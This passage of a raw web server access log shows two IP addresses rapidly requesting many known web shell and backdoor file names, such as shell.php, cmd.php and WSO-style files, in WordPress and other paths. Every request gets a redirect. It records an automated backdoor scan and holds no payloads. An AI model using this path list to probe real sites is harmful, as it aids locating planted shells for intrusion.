HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:13 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:13 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:13 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:13 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:13 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:13 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:14 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:14 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:14 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:15 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:15 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:15 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:15 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:15 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:15 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:16 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:16 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:16 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:16 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:16 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:16 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:16 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:16 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:18:17 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:17 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:17 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:18 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:18 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:18 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:18 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:19 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:19 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:19 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:18:19 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:20 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:20 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:20 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:20 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:20 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:20 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:21 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:21 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:21 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:21 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:21 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:21 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:22 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:22 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:22 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:22 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:22 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:23 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:23 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:23 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:23 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:23 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:23 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:23 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:24 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:24 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:24 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:24 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:18:24 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:24 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:25 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:25 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:25 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:18:25 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:25 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:26 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:26 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:26 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:26 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:26 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:26 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:27 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:27 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:27 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:27 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:27 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:28 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:28 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; 